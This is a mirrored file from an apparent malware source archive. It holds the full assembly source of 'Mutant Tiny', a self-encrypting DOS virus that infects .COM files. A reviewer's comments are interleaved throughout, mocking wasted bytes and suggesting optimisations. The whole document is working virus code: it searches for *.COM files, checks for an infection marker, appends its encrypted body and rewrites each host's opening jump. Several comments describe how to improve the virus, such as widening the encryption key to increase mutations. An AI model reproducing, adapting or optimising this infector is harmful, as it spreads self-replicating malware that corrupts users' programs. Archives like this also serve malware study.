mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
252 lines
11 KiB
NASM
252 lines
11 KiB
NASM
muttiny segment byte public
|
|
assume cs:muttiny, ds:muttiny
|
|
|
|
org 100h
|
|
|
|
start: db 0e9h, 5, 0 ; jmp startvir
|
|
restorehere: int 20h
|
|
idword: dw 990h
|
|
; The next line is incredibly pointless. It is a holdover from one
|
|
; of the original TINYs, where the id was 7, 8, 9. The author can
|
|
; easily save one byte merely by deleting this line.
|
|
db 09h
|
|
startvir:
|
|
call oldtrick ; Standard location-finder
|
|
oldtrick: pop si
|
|
; The following statement is a bug -- well, not really a bug, just
|
|
; extraneous code. The value pushed on the stack in the following
|
|
; line is NEVER popped off. This is messy programming, as one byte
|
|
; could be saved by removing the statement.
|
|
push si
|
|
sub si,offset oldtrick
|
|
call encrypt ; Decrypt virus
|
|
call savepsp ; and save the PSP
|
|
; NOTE: The entire savepsp/restorepsp procedures are unnecessary.
|
|
; See the procedures at the end for further details.
|
|
jmp short findencryptval ; Go to the rest of the virus
|
|
; The next line is another example of messy programming -- it is a
|
|
; NOP inserted by MASM during assembly. Running this file through
|
|
; TASM with the /m2 switch should eliminate such "fix-ups."
|
|
nop
|
|
; The next line leaves me guessing as to the author's true intent.
|
|
db 0
|
|
|
|
encryptval dw 0h
|
|
|
|
encrypt:
|
|
push bx ; Save handle
|
|
; The following two lines of code could be condensed into one:
|
|
; lea bx, [si+offset startencrypt]
|
|
; Once again, poor programming style, though there's nothing wrong
|
|
; with the code.
|
|
mov bx,offset startencrypt
|
|
add bx,si
|
|
; Continueencrypt is implemented as a jmp-type loop. Although it's
|
|
; fine to code it this way, it's probably easier to code using the
|
|
; loop statement. Upon close inspection, one finds the loop to be
|
|
; flawed. Note the single inc bx statement. This essentially makes
|
|
; the encryption value a a byte instead of a word, which decreases
|
|
; the number of mutations from 65,535 to 255. Once again, this is
|
|
; just poor programming, very easily rectified with another inc bx
|
|
; statement. Another optimization could be made. Use a
|
|
; mov dx, [si+encryptval]
|
|
; to load up the encryption value before the loop, and replace the
|
|
; three lines following continueencrypt with a simple:
|
|
; xor word ptr [bx], dx
|
|
continueencrypt:
|
|
mov ax,[bx]
|
|
xor ax,word ptr [si+encryptval]
|
|
mov [bx],ax
|
|
inc bx
|
|
; The next two lines should be executed BEFORE continueencrypt. As
|
|
; it stands right now, they are recalculated every iteration which
|
|
; slows down execution somewhat. Furthermore, the value calculated
|
|
; is much too large and this increases execution time. Yet another
|
|
; improvement would be the merging of the mov/add pair to the much
|
|
; cleaner lea cx, [si+offset endvirus].
|
|
mov cx,offset veryend ; Calculate end of
|
|
add cx,si ; encryption: Note
|
|
cmp bx,cx ; the value is 246
|
|
jle continueencrypt ; bytes too large.
|
|
pop bx
|
|
ret
|
|
writerest: ; Tack on the virus to the
|
|
call encrypt ; end of the file.
|
|
mov ah,40h
|
|
mov cx,offset endvirus - offset idword
|
|
lea dx,[si+offset idword] ; Write starting from the id
|
|
int 21h ; word
|
|
call encrypt
|
|
ret
|
|
|
|
startencrypt:
|
|
; This is where the encrypted area begins. This could be moved to
|
|
; where the ret is in procedure writerest, but it is not necessary
|
|
; since it won't affect the "scannability" of the virus.
|
|
|
|
findencryptval:
|
|
mov ah,2Ch ; Get random #
|
|
int 21h ; CX=hr/min dx=sec
|
|
; The following chunk of code puzzles me. I admit it, I am totally
|
|
; lost as to its purpose.
|
|
cmp word ptr [si+offset encryptval],0
|
|
je step_two
|
|
cmp word ptr [si+offset encryptval+1],0
|
|
je step_two
|
|
cmp dh,0Fh
|
|
jle foundencryptionvalue
|
|
step_two: ; Check to see if any
|
|
cmp dl,0 ; part of the encryption
|
|
je findencryptval ; value is 0 and if so,
|
|
cmp dh,0 ; find another value.
|
|
je findencryptval
|
|
mov [si+offset encryptval],dx
|
|
foundencryptionvalue:
|
|
mov bp,[si+offset oldjmp] ; Set up bp for
|
|
add bp,103h ; jmp later
|
|
lea dx,[si+filemask] ; '*.COM',0
|
|
xor cx,cx ; Attributes
|
|
mov ah,4Eh ; Find first
|
|
tryanother:
|
|
int 21h
|
|
jc quit_virus ; If none found, exit
|
|
|
|
mov ax,3D02h ; Open read/write
|
|
mov dx,9Eh ; In default DTA
|
|
int 21h
|
|
|
|
mov cx,3
|
|
mov bx,ax ; Swap file handle register
|
|
lea dx,[si+offset buffer]
|
|
mov di,dx
|
|
call read ; Read 3 bytes
|
|
cmp byte ptr [di],0E9h ; Is it a jmp?
|
|
je infect
|
|
findnext:
|
|
mov ah,4Fh ; If not, find next
|
|
jmp short tryanother
|
|
infect:
|
|
mov ax,4200h ; Move file pointer
|
|
mov dx,[di+1] ; to jmp location
|
|
mov [si+offset oldjmp],dx ; and save old jmp
|
|
xor cx,cx ; location
|
|
call int21h
|
|
jmp short skipcheckinf
|
|
; Once again, we meet an infamous MASM-NOP.
|
|
nop
|
|
; I don't understand why checkinf is implemented as a procedure as
|
|
; it is executed but once. It is a waste of code space to do such
|
|
; a thing. The ret and call are both extra, wasting four bytes. An
|
|
; additional three bytes were wasted on the JMP skipping checkinf.
|
|
; In a program called "Tiny," a wasted seven bytes is rather large
|
|
; and should not exist. I have written a virus of half the length
|
|
; of this virus which is a generic COM infector. There is just too
|
|
; too much waste in this program.
|
|
checkinf:
|
|
cmp word ptr [di],990h ; Is it already
|
|
je findnext ; infected?
|
|
; The je statement above presents another problem. It leaves stuff
|
|
; on the stack from the call. This is, once again, not a critical
|
|
; error but nevertheless it is extremely sloppy behavior.
|
|
xor dx,dx
|
|
xor cx,cx
|
|
mov ax,4202h
|
|
call int21h ; Goto end of file
|
|
ret
|
|
skipcheckinf:
|
|
mov cx,2
|
|
mov dx,di
|
|
call read ; read 2 bytes
|
|
call checkinf
|
|
; The next check is extraneous. No COM file is larger than 65,535
|
|
; bytes before infection simply because it is "illegal." Yet ano-
|
|
; ther waste of code. Even if one were to use this useless check,
|
|
; it should be implemented, to save space, as or dx, dx.
|
|
cmp dx,0 ; Check if too big
|
|
jne findnext
|
|
|
|
cmp ah,0FEh ; Check again if too big
|
|
jae findnext
|
|
mov [si+storejmp],ax ; Save new jmp
|
|
call writerest ; location
|
|
mov ax,4200h ; Go to offset
|
|
mov dx,1 ; 1 in the file
|
|
xor cx,cx
|
|
call int21h
|
|
|
|
mov ah,40h ; and write the new
|
|
mov cx,2 ; jmp location
|
|
lea dx,[si+storejmp]
|
|
call int21h
|
|
; I think it is quite obvious that the next line is pointless. It
|
|
; is a truly moronic waste of two bytes.
|
|
jc closefile
|
|
closefile:
|
|
mov ah,3Eh ; Close the file
|
|
call int21h
|
|
quit_virus:
|
|
call restorepsp
|
|
jmp bp
|
|
|
|
read:
|
|
mov ah,3Fh ; Read file
|
|
; I do not understand why all the int 21h calls are done with this
|
|
; procedure. It is a waste of space. A normal int 21h call is two
|
|
; bytes long while it's three bytes just to call this procedure!
|
|
int21h:
|
|
int 21h
|
|
ret
|
|
|
|
db 'Made in England'
|
|
|
|
; Note: The comments for savepsp also apply to restorepsp.
|
|
|
|
; This code could have easily been changed to a set active DTA INT
|
|
; 21h call (AH = 1Ah). It would have saved many, many bytes.
|
|
|
|
savepsp:
|
|
mov di,0
|
|
; The following is a bug. It should be
|
|
; mov cx, 50h
|
|
; since the author decided to use words instead of bytes.
|
|
mov cx,100h
|
|
push si
|
|
; The loop below is dumb. A simple rep movsw statement would have
|
|
; sufficed. Instead, countless bytes are wasted on the loop.
|
|
storebytes:
|
|
mov ax,[di]
|
|
mov word ptr [si+pspstore],ax
|
|
add si,2
|
|
add di,2
|
|
loop storebytes
|
|
pop si
|
|
ret
|
|
|
|
restorepsp:
|
|
mov di,0
|
|
mov cx,100h ; Restore 200h bytes
|
|
push si
|
|
restorebytes:
|
|
mov ax,word ptr [si+pspstore]
|
|
mov [di],ax
|
|
add si,2
|
|
add di,2
|
|
loop restorebytes
|
|
pop si
|
|
ret
|
|
|
|
oldjmp dw 0
|
|
filemask db '*.COM',0
|
|
idontknow1 db 66h ; Waste of one byte
|
|
buffer db 00h, 00h, 01h ; Waste of three bytes
|
|
storejmp dw 0 ; Waste of two bytes
|
|
; endvirus should be before idontknow1, thereby saving six bytes.
|
|
endvirus:
|
|
idontknow2 db ?, ?
|
|
pspstore db 200 dup (?) ; Should actually be
|
|
idontknow3 db 2ch dup (?) ; 100h bytes long.
|
|
veryend: ; End of encryption
|
|
muttiny ends
|
|
end start
|
|
|